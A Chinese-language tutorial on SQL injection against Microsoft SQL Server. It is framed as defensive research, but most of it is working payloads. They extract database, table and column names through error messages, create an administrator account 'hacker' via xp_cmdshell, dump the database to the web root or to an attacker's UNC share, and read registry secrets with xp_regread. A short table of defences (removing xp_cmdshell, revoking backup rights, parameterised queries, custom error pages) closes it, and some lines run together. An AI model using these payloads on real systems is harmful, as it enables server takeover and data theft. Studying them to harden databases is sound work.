本文揭露駭客如何利用 SQL Server 系統表 (sysobjects、syscolumns) 列舉資料庫結構,並透過 xp_cmdshell、BACKUP DATABASE 等高危功能直接取得作業系統控制權與完整資料庫備份,屬高風險技術,**僅供防禦研究與滲透測試授權環境使用**。
前提:頁面回顯 SQL 錯誤訊息 (如 Conversion failed),可將子查詢結果強制轉型觸發錯誤,將資料「偷渡」在錯誤訊息中。
id=1 AND db_name() > 0
-- 錯誤訊息將包含資料庫名稱
id=1 AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0) > 0
-- 取得第一個表名;換成 TOP 2、TOP 3... 列舉後續
id=1 AND (SELECT TOP 1 col_name(object_id('表名'), 1) FROM sysobjects) > 0
-- col_name(object_id, column_id) 取得第 N 個欄位名
-- column_id 遞增 1,2,3... 遍歷所有欄位
-- 新增本機管理員帳號
id=1; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';--
-- 加入 Administrators 群組
id=1; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';--
兩分鐘內拿到系統最高權限。**防禦:移除 xp_cmdshell、降低服務帳號權限、禁止 sa 登入應用**。
id=1; BACKUP DATABASE target_db TO DISK='C:\Inetpub\wwwroot\leak.bak';--
\\attacker\share\leak.bak (需網路通訊)id=1; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'SecretKey';--
xp_cmdshell 奪機器BACKUP DATABASE 奪資料| 攻擊向量 | 根本防禦 | 緩解措施 |
|---|---|---|
| xp_cmdshell | sp_dropextendedproc 移除 | 服務帳號非管理員、啟用 AppLocker 限制執行 |
| BACKUP DATABASE | REVOKE BACKUP DATABASE TO public; 僅授予 DBA 角色 | 資料/備份/網站目錄分離磁碟、防火牆封鎖 UNC |
| 系統表列舉 | 參數化查詢 (分離代碼/資料) | 錯誤頁面不回顯技術細節、WAF 規則攔截 UNION/SELECT |
| SQL 錯誤回顯 | 自定義錯誤頁 (web.config customErrors=On) | 記錄詳細錯誤至伺服器端日誌 |